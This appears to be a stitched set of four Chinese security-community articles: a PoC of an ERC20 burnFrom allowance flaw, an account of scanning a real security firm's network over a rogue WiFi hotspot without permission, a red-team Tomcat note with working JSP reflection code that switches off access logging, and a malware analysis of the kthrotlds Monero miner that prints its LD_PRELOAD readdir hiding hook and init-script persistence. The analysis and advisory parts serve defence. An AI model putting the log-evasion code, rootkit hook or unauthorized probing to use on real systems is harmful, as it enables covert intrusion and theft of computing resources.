burnFrom函数的作用是供被授权用户操作授权用户的资产，而在操作授权用户授权的资产时需要同步更新授权用户的资产数量，即销毁授权用户特定数量的资产，同时需要更新代币总量以及授权转账的额度，同时burnFrom函数应该具备溢出检查逻辑设计或者使用SafeMath函数进行溢出防御，而不少合约中缺乏allowance更新操作，甚至存在下溢问题、特权后门等。
## 漏洞示例
下图所示burnfrom函数在销毁代币时只做了授权数量的检查，而在授权转账之后未更新授权转账的额度导致被授权用户可以无限制的销毁授权账户的资产
## 漏洞复现
Step 1:下载合约源代码到本地并使用Remix进行部署调试
<https://cn.etherscan.com/address/0x49aec0752e68d0282db544c677f6ba407ba17ed7#code>
部署合约：
Step 2：查询当前合约owner所持资产数量
* Owner地址：0xAb8483F64d9C6d1EcF9b849Ae677dD3315835cb2
* 所持资产：3333333000000000000000000
* 数值精度：18
Step 3：使用合约的owner地址向用户A和用户B分别转账，为后期测试做准备
* 用户A地址：0x4B20993Bc481177ec7E8f571ceCaE8A9e22C02db
* 转账数量：1000000000000000000000
* 用户B地址：0x78731D3Ca6b7E34aC0F824c42a7cC18A495cabaB
* 转账数量：1000000000000000000000
Step 4：使用A账户地址给B账户授权转账数量200000000000000000000
Step
5：由于合约中的burnFrom函数存在设计缺陷，在销毁授权用户特定数量的资产时，未更新授权转账的额度，导致被授权账户可以无限制销毁授权账户的资产，下面我们使用B账户来销毁A账户的资产，销毁数量为之前A账户授权给B账户的额度——200000000000000000000
当下A账户(0x4B20993Bc481177ec7E8f571ceCaE8A9e22C02db)资产数量如下：
通过进行销毁操作：
检查授权额度：
之后检查A账户资产:1000000000000000000000——>800000000000000000000
由于授权额度未更新，所以此时B用户依旧可以销毁A用户的资产数量，下面我们再一次进行销毁：
再次查看授权额度——依旧未变：
查看A账户的资产数量：800000000000000000000——600000000000000000000
依次类推，可知授权用户B可以销毁被授权用户A所有的资产
## 安全建议：
采用OpenZeppelin官方标准
<https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/token/ERC20/extensions/ERC20Burnable.sol> | 社区文章 |
# 基于智能手机的近源渗透案例分享——“点到为止”的测试某网络安全公司
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
作者：Duncan SecTeam
## 0x00、引言
随着互联网的飞速发展以及智能化设备（手机，平板，智能家电，智能机器人以及智能查询终端），传统的企业信息化不可避免的要向物联网过渡，一是节约企业建设和运营成本（比如，部署WiFi/IP摄像头可以减少传统网络布线的人财物消耗），二是智能设备的引入的确可以进一步压缩人力成本支出（HR和财务部门最喜欢这个吧）。
But，这个过渡真的安全吗？尤其是在一些新建设施，工业园区。作为一个物联网入门小白，今天介绍一个近源渗透的简单例子，被“调戏”的是一家国内成立不久的知名网络安全公司。本人申明：我是一个讲“武德的年轻人”，一切操作都是“点到为止”，相关截屏以及操作记录已经保存，如果贵公司要进行安全审查或者邀请公安机关介入调查，本人全力配合！！！
## 0x01、背景介绍
小白最近参加了一个技术培训，按照组织方的安排，去参观宜宾临港经济技术开发区。刚好，跟着大队伍参观了一家网络安全公司，而且还在这家网络安全公司内部参加了一个讨论会议，整个行程差不多1个小时，包括近10分钟的步行（从园区入口到该公司门口）。
大概的背景就是这样！以下是近源渗透过程中的软硬件及网络资源：
硬件：
——一加（OnePlus） 6，8G+128G
——型号：ONEPLUS A6000
软件：
——Android：10
——H2OS：A6000_22_201022
——文件管理器：X-plore （Android）
——Linux模拟器：Andrax v5
网络：
——AAAAAAAA （通过某钥匙共享出来的WiFi热点）
——WiFi（2.4G）
## 0x02、接入网络
Team正在转向IoT环境下的网络安全研究，因此网络接入是我们绕不过的一个技术话题。
小白刚到园区里头，就用某钥匙APP扫描共享WiFi了（出于职业和研究兴趣的驱使）。还没进这家公司大楼的时候，小白就发现一个名为“AAAAAAAA”的无线热点，本以为只是哪个Coder闹着玩，随手共享的一个手机热点给妹子买个化妆品，追个剧什么的（这WiFi名字确实太没趣了）。没想到，小白用手机查看密码的时候，被惊艳到了。在这个近源的渗透测试案例中，小白没办法获这家公司物理线路上的接入（一直在参观，好不容易坐到会议室，周围连个插座都没有，更别说网线接口了。。。）。但令人惊喜的是，这个WiFi热点在这家公司内部信号满血啊，杠杠的。。。
这个密码中的admin太耀眼了！！！由于WiFi密码中包含了这个网络安全公司的名字，出于年轻人应有的“武德”，我把二维码和WiFi密码中的公司名称打码了。在这里，友情提示一下各大中小微企业及党政军群的安全运维和网管猿们：年底了，保住job很重要，下班了别走太早，拿着手机在公司、单位各楼层扫一扫，看看有没有员工悄悄加装AP，给你管理的内网“搭线”的。其实，企业网络自身建设总体是安全的，但是很多安全事件的背后往往不需要太多的8个（bug），有时只需要1个S(uper)
B(ug)就足够了，不信看看意大利知名黑客团队“Hacking Team”。
由于整个参观过程持续了不到一个小时，只在该公司内部演示中心和会议室短暂逗留，因此也还是有机会进一步核实WiFi热点是否真的安装在该公司内部。很遗憾，在整个参过过程中，这个WiFi热点信号始终满格，甚至在他们公司的厕所里面也是如此（没准儿，真是内网admin干的）。
## 0x03、近源渗透
由于整个测试过程一直跟随着大队伍，使用电脑不是最好的选择，甚至不是一个可行的选择，因此小白用的是装在OP6上的Linux模拟器：Andrax。具体操作步骤，如下：
1.查看并扫描网络（以下是转换为xls格式后的扫描结果）
192.168.x.y网段有存活主机，而且还开了部分端口，推测应该是演示大厅的控制电脑（用来播放ppt或者视频）。
2.尝试连接445端口
x-plore是一款非常强大的文件管理器，提供了多种LAN环境下的文件远程访问工具。借助这个工具，基于Android系统的手机就能够轻松访问很多的Windows资源（当然，iPhone下的文件工具也可以访问SMB），包括这家安全公司的445端口。值得肯定的是，安全公司员工的安全意识很高，没有打开默认共享，因此小白就没法访问了。
3.逐个检查80，8080等web端口
4.由于Andrax默认没有安装traceroute，而且修改了source.list配置文件（andrax及其排斥使用者破坏软件依赖），因此没有强行安装
## 0x04、可能的下阶段渗透
1.探测路由，进一步发现可达内部网络。
2.若口令猜解。
3.基于MSF针对内部的低版本Windows操作系统及系统软件进行远程溢出。
4.如果可能的话，针对暴露的打印机进行木马或者后门植入，从而获得极高隐蔽性的持续性控制权限。
## 0x05、总结
1. 传统的企业网络到物联网的过渡或者变迁过程中，会存在各种问题，需要网络管理员更加负责，甚至安全运维人员介入参与。
2. IoT环境下，对于企业而言攻击面更大了，不能以传统的互联网思维或者企业内网思维看待不断变化的网络建设与运维。
3. 要多给安全人员和网管员机会，让他们有更多的话语权，不然随意“搭线”公司内部网络必然后患无穷。
## 参考：
1. hackingTeam是如何被黑的. <https://www.anquanke.com/post/id/83798>
2. 黑客爆料Hacking Team入侵细节. <https://www.freebuf.com/news/102173.html>
3. 双龙战记：Andrax vs. Nethunter. <https://www.anquanke.com/post/id/223493>
4. IoT环境下的渗透测试之构建高效WiFi破解字典. <https://www.anquanke.com/post/id/219315>
5. 基于安卓设备的Hacking. <https://www.freebuf.com/articles/terminal/246679.html>
6. pHacking Highway Service Station. <https://www.freebuf.com/articles/terminal/247145.html> | 社区文章 |
# Tomcat容器攻防笔记之隐匿行踪
|
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 背景：
基于现阶段红蓝对抗强度的提升，诸如WAF动态防御、态势感知、IDS恶意流量分析监测、文件多维特征监测、日志监测等手段，能够及时有效地检测、告警甚至阻断针对传统通过文件上传落地的Webshell或需以文件形式持续驻留目标服务器的恶意后门。
结合当下形势，这次我们着重关注在Tomcat日志处理流程中，是否有可取巧的地方使得Tomcat不记录访问记录，进而达到隐匿行踪的效果。
声明 ：
由于传播或利用此文所提供的信息而造成的任何直接或者间接的后果及损失，均由使用者本人负责，此文仅作交流学习用途。
历史文章：
[Tomcat容器攻防笔记之Filter内存马](https://mp.weixin.qq.com/s/nPAje2-cqdeSzNj4kD2Zgw)
[Tomcat容器攻防笔记之Servlet内存马](https://mp.weixin.qq.com/s/rEjBeLd8qi0_t_Et37rAng)
[Tomcat容器攻防笔记之JSP金蝉脱壳](https://www.anquanke.com/post/id/224698)
* * *
## 一、Tomcat的日志类型
基于默认配置启动的Tomcat会在logs目录中产生以下五类日志：catalina、localhost、localhost_access、host-manager、manager
* catalina：记录了Catalina引擎的日志文件
* localhost：记录了Tomcat内部代码抛出的日志
* localhost_access: 记录了Tomcat的访问日志
* host-manager以及manager：记录的是Tomcat的webapps目录下manager的应用日志
既然是跟隐藏访问记录有关，本次对localhost_access日志的调用逻辑和调用流程进行调试学习
## 二、Tomcat记录访问日志的流程细节？
Tomcat是对客户端的请求完成响应后，再进行访问日志记录的。具体实现在CoyoteAdapter#service方法，下图第二个红框处。
此处的Context变量其实是StandardContext，Host变量是StandardHost。然而，无论是StandardHost类还是StandardContext类，这两个容器实现类都继承于ContainerBase类。
由于这两个子类，并没有重写自己的logAccess方法，因此这里调用的logAccess(request, response, time
,false)方法，其实是调用其父类ContainerBase的logAccess方法。
代码逻辑很清晰，稍微说明一下调用顺序，Tomcat组件的日志记录是逐层回溯，从下往上调用的。
首先，从CoyoteAdapter#service()方法中，先由调用StandardContext实例的logAccess方法，所以上图的this第一次指代的是StandardContext自身，通过getAccessLog方法，获取StandardContext的日志记录对象。再调用log()方法，记录request、reponse、time中的信息。
那么当StandardContext调用完成日志记录后，进入下一个if逻辑。
通过StandContext.getParent方法，获取上级容器实现类StandardHost。如果有朋友好奇为什么是StandardHost的话，可以先了解一下Tomcat的Container架构，也可以阅读先前编写的文章。
当获取了上级容器实例后，再次调用logAccess方法，其实进入的是上图方法本身，直到达到最上级容器：this.getParent() == null
成立。
现在，我们了解了Tomcat调用日志记录的顺序，具体来看看细节。
在Tomcat的/conf/server.xml的默认配置中，只存在localhost_access_log.txt用于记录请求的IP地址、时间、请求方式、URI、协议等信息。其中pattern字段决定日志的记录形式和记录内容。
对pattern字段内容感兴趣可查阅该官方链接：
<https://tomcat.apache.org/tomcat-7.0-doc/config/valve.html#Access_Logging>
该配置嵌于Host标签内，属于StandardHost类。可见默认情况，仅有StandardHost调用getAccessLog方法时返回日志记录对象。
首先，this.accessLogScanComplete判断是否已完成配置文件中日志记录配置的扫描加载，如果扫描完成，则返回accessLog对象。若未扫描，则进行扫描加载。
在Tomcat的容器中，都有一个管道(PipeLine)及若干个阀（Valve），它们是容器类必须具备的模块，在容器对象生成时自动产生，Pipeline就像是每个容器的逻辑总线，在Pipeline上按照配置的顺序，加载各个valve并逐个调用，各个valve实现具体的功能逻辑。
而配置文件中的“org.apache.catalina.valves.AccessLogValve”，就是一个阀，实现日志记录的功能逻辑。
this.getPipeLine().getVales()方法获取当前管道中所有阀。通过else中的方法体，我们也可以了解到，可以自行编写继承于ValveBase类的阀，用于实现我们想要的功能，这里会通过判断阀的类型是否为AccessLog类型，获取管道中所有有关日志记录的阀实例，并保存到accessLog中，最后返回。
当this.getAccessLog()的返回值accesssLog不为空时，是调用log方法实现日志记录。
此处的this为accessLog自身，accessLog的类为AccessLogAdapter，真正的日记记录实现类，是其成员变量logs中的AccessLogValve，见下图。
由于AccessLogValve并没有实现自己的log方法，在AccessLogAdapter#log中的log.log(request,
response,
time),调用的，其实是AccessLogValve的父类AbstractAccessLogValve的log方法。（org.apache.catalina.valves.AbstractAccessLogValve）
在AbstractAccessLogValve#log方法中，满足逻辑条件，则最终记录日志信息。要想隐藏访问，避免记录入日志中，就要令这个log方法逻辑条件不成立。
在第一个IF条件中，改动前三个条件，会令该日志记录实现类失效，进而影响了正常功能，不建议改动。但后续2个条件，跟具体的request有关，并且是“或”判断，意味着，单独更改该类的成员属性condition和conditionIf不影响该类正常工作。
于是，我们可以通过改动this.condition和request.getAttribute(this.conditiion),或者this.conditionIf和request.getAttribute(this.conditiionIf)，令以上任一条件不成立，则第一个IF逻辑则无法进入，最终使得Tomcat不记录我们的访问记录。
## 三、实现行踪隐匿
经过前面分析，我们可以知道，日志记录，是在请求完成响应之后实施的。那么我们可以从Request中的MappingData获取StandardHost，通过Standardhost获取accessLog。
阅读过先前讲解Servlet内存马的朋友可能会好奇为何StandardService有MappingData，为何Request也有，MappingData作为记录映射关系的实例，也会最终传递给Request对象供其调用。
因而我们无论是通过Filter、Servlet还是JSP，都拥有了ServletRequest对象。
但要注意的是，Tomcat采用的设计模式是门面模式，为了提高系统的独立性，将Request对象转换成了RequestFacade对象，转换之后，Request则不可见，用户操作的对象只能是RequestFacade。以此，通过门面实现了系统内部和外部操作对象的分离。
但是，因为门面实际上是为复杂的子系统为一个类提供一个简单的接口，对于RequestFacade对象而言，实际上完成操作的，仍然是Request对象，因而Request对象，自然而然会作为成员变量保存在RequestFacade对象之中。既然保存在其中，我们就可以通过Java的反射机制，越过访问控制权限，动态获取运行中实例的属性。
按照惯例，先把要导入的包说明一下：
<%@ page import="org.apache.catalina.connector.Request" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.mapper.MappingData" %>
<%@ page import="org.apache.catalina.core.StandardHost" %>
<%@ page import="org.apache.catalina.AccessLog" %>
<%@ page import="org.apache.catalina.valves.AbstractAccessLogValve" %>
<%@ page import="org.apache.catalina.core.AccessLogAdapter" %>
获取Request对象。
Field requestF = request.getClass().getDeclaredField(“request”);
// requestFacade的request由protected修饰
requestF.setAccessible(true);
Request req = (Request) requestF.get(request);
获取MappingData和StandardHost：
MappingData mappingData = req.getMappingData();
StandardHost standardHost = (StandardHost) mappingData.host;
获取accesslog并赋值AccessLogValve.condition和Request.attributes :
AccessLogAdapter accessLog = (AccessLogAdapter) standardHost.getAccessLog();
Field logsF = accessLog.getClass().getDeclaredField("logs");
logsF.setAccessible(true);
AccessLog[] logs = (AccessLog[]) logsF.get(accessLogAdapter);
for( AccessLog log:logs ){
((AbstractAccessLogValve)log).setCondition("WhatEverYouWant");//任意填入
}
request.setAttribute("WhatEverYouWant", "WhatEverYouWant");
PS：以上代码，可任意嵌入Filter、Servlet、JSP中，均可生效。
看看效果： | 社区文章 |
# kthrotlds挖矿病毒分析报告
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
作者：郑斯碟@默安科技应急响应中心
2019年3月1日，默安科技应急响应中心接到某合作伙伴的求助电话，有主机被病毒感染，经默安科技安全研究员郑斯碟研究分析发现，该病毒为之前的watchdogs的变种，通过Redis未授权访问漏洞及ssh弱口令进行突破植入，随后释放挖矿木马进行挖矿操作，并对内外网主机进行redis漏洞攻击及ssh暴力破解攻击。
## 0x1 病毒特征
要判断是否感染此病毒，可从以下几个方面入手：
1. 查看root/.ssh/中的密钥信息是否被清空。
2. 查看计划任务中是否存在以下任务信息
3. 查看是否有以下进程信息
4. 查看/usr/sbin目录下是否有kthrotlds文件
5. 查看/etc/init.d/下是否有netdns文件
6. 病毒程序执行后会消耗大量的主机cpu资源。
7. 查看/usr/local/lib/libcset.so
请各位系统维护人员检查各自机子是否有以上特征，如果有以上特征，可联系默安科技安全应急响应中心获取病毒清除工具。
以下是对该病毒的分析过程：
## 0x2 针对kthrotlds的分析：
通过分析发现，该病毒文件还是采用了upx壳，只是对其中的魔数进行了修改：
UPX的魔数是：
该病毒文件的魔数
只要将模数修改一下即可，修改如下：
修复后，使用upx -d 进行脱壳
可以看到，已经脱壳成功。
下面使用ida进行反编译
函数名都是随机字符串，看下字符串，推断程序应该是使用golang写的，和之前的差不多。
所以这里还是要使用之前的那个符号还原脚本对程序中的符号进行还原，脚本地址是：
<https://rednaga.io/2016/09/21/reversing_go_binaries_like_a_pro>
还原后：
下面开始分析main函数
下面是将kthrotlds通过github_com_hippies_LSD_LSDC_CopyFile函数将/tmp/kthrotlds拷贝到/usr/sbin/kthrotlds中。然后往/etc/init.d/中写入一个名叫netdns的文件，并通过chkconfig命令将netdns添加为开启启动项。
可以发现在etc/init.d目录下确实存在netdns文件。
通过文本查看工具打开这个文件，发现其是一个bash脚本，具体如下：
#! /bin/bash
#chkconfig: - 99 01
#description: kthrotlds daemon
#processname: /usr/sbin/kthrotlds
### BEGIN INIT INFO
# Provides: /user/sbin/kthrotlds
# Required-Start:
# Required-Stop:
# Default-Start: 2 3 4 5
# Default-Stop: 0 1 6
# Short-Description: kthrotlds deamon
# Description: kthrotlds deamon 守护进程
### END INIT INFO
LocalPath="/usr/sbin/kthrotlds"
name='kthrotlds'
pid_file="/tmp/.lsdpid"
stdout_log="/var/log/$name.log"
stderr_log="/var/log/$name.err"
get_pid(){
cat "$pid_file"
}
is_running(){
[ -f "$pid_file" ] &&/usr/sbin/kthrotlds -Pid $(get_pid) > /dev/null 2>&1
}
case "$1" in
start)
if is_running; then
echo "Already started"
else
echo "Starting $name"
$LocalPath >>"$stdout_log" 2>> "$stderr_log" &
echo $! > "$pid_file"
if ! is_running; then
echo "Unable to start, see$stdout_log and $stderr_log"
exit 1
fi
fi
;;
stop)
if is_running; then
echo -n "Stopping$name.."
kill $(get_pid)
for i in {1..10}
do
if ! is_running; then
break
fi
echo -n "."
sleep 1
done
echo
if is_running; then
echo "Not stopped; maystill be shutting down or shutdown may have failed"
exit 1
else
echo "Stopped"
if [ -f "$pid_file"]; then
rm "$pid_file"
fi
fi
else
echo "Not running"
fi
;;
restart)
$0 stop
if is_running; then
echo "Unable to stop, will notattempt to start"
exit 1
fi
$0 start
;;
status)
if is_running; then
echo "Running"
else
echo "Stopped"
exit 1
fi
;;
*)
echo "Usage: $0{start|stop|restart|status}"
exit 1
;;
esac
exit 0
大致的意思是查看进程列表，如果发现进程kthrotlds被kill掉了，则将其启动。
下面回到kthrolds源码的分析：
紧接着是一些清除操作，这里应该是清除之前版本残留的一些文件：
然后往/usr/local/lib写入licset.c文件，并将其编译为/usr/local/lib/licset.so文件，并将这个so文件设置为预加载动态链接库。
具体的关于libcset.so的分析在文章的后半部分，下面继续分析main函数。
接着是进行计划任务的写入操作，释放挖矿木马ksoftirqds，及更新操作。
以下是其计划任务中写入的命令：
访问：<https://pastebin.com/raw/D8E71JBJ>即可获得病毒执行脚本
通过解密其中的base64编码的数据：
发现其和之前的脚本没有太多区别，这里主要将curl获取的图片文件重命名为了kthrotlds（原来是watchdogs）。
如需对脚本内容进行进行进一步的了解，请参考上一篇分析文章，这里就不做过多分析了：
https://www.anquanke.com/post/id/171692
## 0x3 横向传播
下面我们看下病毒式如何进行横向传播的：
### 0x1 Readis攻击：
遍历内网ip及外网ip攻击redis服务器：
测试机上通过wireshark抓取到的redis攻击行为
攻击程序调用过程：
Main_main
->main_attack
->github_com_hippies_LSD_LSDA_Ago
->github_com_hippies_LSD_LSDA_Ago_func1
->github_com_hippies_LSD_LSDA_runtwo
->github_com_hippies_LSD_LSDA_run
->github_com_gomodule_redigo_redis_DiaTimeout
->github_com_gomodule_redigo_redis_Dial
->github_com_gomodule_redigo_redis__conn_Do
->github_com_gomodule_redigo_redis__conn_DoWithTimeout
->github_com_gomodule_redigo_redis__conn_writeCommand
相关代码：
### 0x2 ssh爆破
测试机上通过wireshark抓取到的ssh爆破行为：
攻击程序调用过程
Main_main
-> main_attack
->github_com_hippies_LSD_LSDA_Bbgo
->github_com_hippies_LSD_LSDA_bgo_func1
->github_com_hippies_LSD_LSDA_cmdtwo
->github_com_hippies_LSD_LSDA_cmd
->Golang_org_x_crpyto_ssh_Client_NewSession
相关代码
这里是攻击程序的入口（main_attack）主要有两个攻击模块，一个是ssh爆破，另一个式redis未授权攻击，与上一个版本一样。
## 0x4 针对ksoftirqds的分析
下面我们来看下ksoftirqds这个文件。
通过分析发现其使用的还是xmr-stak这个挖矿系统
该项目地址是：
<https://github.com/fireice-uk/xmr-stak>
通过字符串检索找到其矿池地址，发现矿池已经改变
这里矿池地址为：
sg.minexmr.com:5555
进一步跟入找到其钱包地址
其钱包id为：
47eCpELDZBiVoxDT1tBxCX7fFU4kcSTDLTW2FzYTuB1H3yzrKTtXLAVRsBWcsYpfQzfHjHKtQAJshNyTU88LwNY4Q3rHFYA
以下是该钱包账户的收益情况
## 0x5 针对libcset.c的分析
在kthrotlds中，对libcset.c进行了编译，并将编译生成后的/usr/local/lib/libcset.so设置为预加载动态链接库。
以下是libcset.c的函数列表
很明显病毒是通过hook libc.so中的函数的方式将与病毒相关的信息进行了隐藏。
如readdir函数
struct dirent *
readdir (DIR * dirp)
{
struct dirent *dir;
if (!libc){
libc = dlopen ("/lib64/libc.so.6", RTLD_LAZY);
if (!libc){
libc = dlopen ("/lib/x86_64-linux-gnu/libc.so.6", RTLD_LAZY);
if (!libc){
libc = dlopen ("/lib/libc.so.6", RTLD_LAZY);
if (!libc){
libc = dlopen ("/lib/i386-linux-gnu/libc.so.6", RTLD_LAZY);
}
}
}
}
if (!old_readdir)
old_readdir = dlsym (libc, "readdir");
do {
dir = old_readdir (dirp);
if(dir != NULL) {
char dir_name[256];
char process_name[256];
if(get_dir_name(dirp, dir_name, sizeof(dir_name)) && strcmp(dir_name, "/proc") == 0 && get_process_name(dir->d_name, process_name) && strcmp(process_name, MAGIC_STRING) == 0){
return NULL;
}else if (strcmp(process_name, MAGIC_DEAMON) == 0){
return NULL;
}
}
if (dir != NULL
&& (strcmp (dir->d_name, ".\0") || strcmp (dir->d_name, "/\0")))
continue;
}
while (dir
&& (strstr (dir->d_name, MAGIC_STRING) != 0 || strstr (dir->d_name, CONFIG_FILE) != 0 || strstr (dir->d_name, LIB_FILE) != 0));
return dir;
}
这里是对readdir函数进行了hook，对其中的进程名(病毒进程名，kthrotlds)，病毒配置文件名，动态链接库名(libcset.so)进行了检查，隐藏查询结果中包含这三者的信息。其他的函数这里就不做过多分析了。
## 0x6 分析总结
1、相对于之前的watchdogs,其加壳方案并没有什么太大的改变，只是对于病毒程序的加固方面进行了一些修改，即将原本的upx壳的magic
number改为了:4c 53 44 21。那么相应的应对措施就是，在脱壳之前，将其复原为55 50 58 21。
2、进行ssh爆破及redis攻击，目的是进行横向病毒传播，扩大挖矿僵尸网络的势力
3、通过inotify监控/bin文件目录，发现其并没有删除netstat命令，这是与watchdogs的区别之一。
4、ksofttirqds程序主要是使用xmr-stak挖矿程序挖掘门罗币
5、编译libcset.c并将libcset.so设置为预加载动态链接库，隐藏病毒相关。
6、之前版本是将watchdog程序设置为开机启动项，而当前版本是编写了一个名叫netdns的脚本将其设置为开机启动项，并作为kthrotlds的守护进程。
7、矿池及钱包地址：
矿池：
sg.minexmr.com:5555
钱包地址：
47eCpELDZBiVoxDT1tBxCX7fFU4kcSTDLTW2FzYTuB1H3yzrKTtXLAVRsBWcsYpfQzfHjHKtQAJshNyTU88LwNY4Q3rHFYA
8、域名：
<https://pastebin.com>（未改变）
对应ip：
104.20.209.21（未改变）
9、相关Md5特征：
da7ee5683fb870bae61e9c4088a661e4
66613e2e4210dce89b562635b769bc21
83e651497c59a14ca8d5abab85565955
4c62c53ae69d8e9290aaccb5ee694716
f1bdc8b12f2ef0279cd265c79bd6fd9e
c7560dd3933774185ce19ddbee5e526c
## 0x6 加固建议
病毒程序可能是通过利用redis未授权漏洞植入，所以请做好redis方面的加固。
Redis未授权漏洞简介：Redis在默认配置下，会将服务绑定在0.0.0.0：6379上，即暴露在公网上。如果同时又没有开启相关的认证，就会导致任意用户访问redis服务，进行数据库操作，并且通过进一步利用，还可以获得系统权限。
以下是redis方面的加固建议：
1\. 将修改redis配置文件，将服务绑定在本机127.0.0.1上。
2.修改redis.conf，设置访问认证，启用密码认证。
3\. 在防火墙处指定可访问redis服务的ip 。
4\. 修改修改redis默认端口。
5\. 禁用config指令防止恶意操作，这样即使存在未授权访问，也能够给攻击者使用config 指令加大难度。
6\. 使用普通权限运行redis服务，这样即使攻击者获得了服务器权限也只是普通用户权限。
## 0x7 病毒处置办法
1）默安科技已针对病毒开发自动化清理脚本，脚本地址：
https://github.com/MoreSecLab/DDG_MalWare_Clean_Tool
3）建议使用默安科技哨兵云对全网服务器进行排查Redis未授权访问漏洞并进行安全加固，从源头上避免感染病毒。
4）紧急情况下，为避免内网大量传播，可以临时对被感染机器先进行断网隔离处理。
5）不影响业务的情况下，建议临时删除机器上.ssh/known_hosts和登录密钥文件。 | 社区文章 |
Subsets and Splits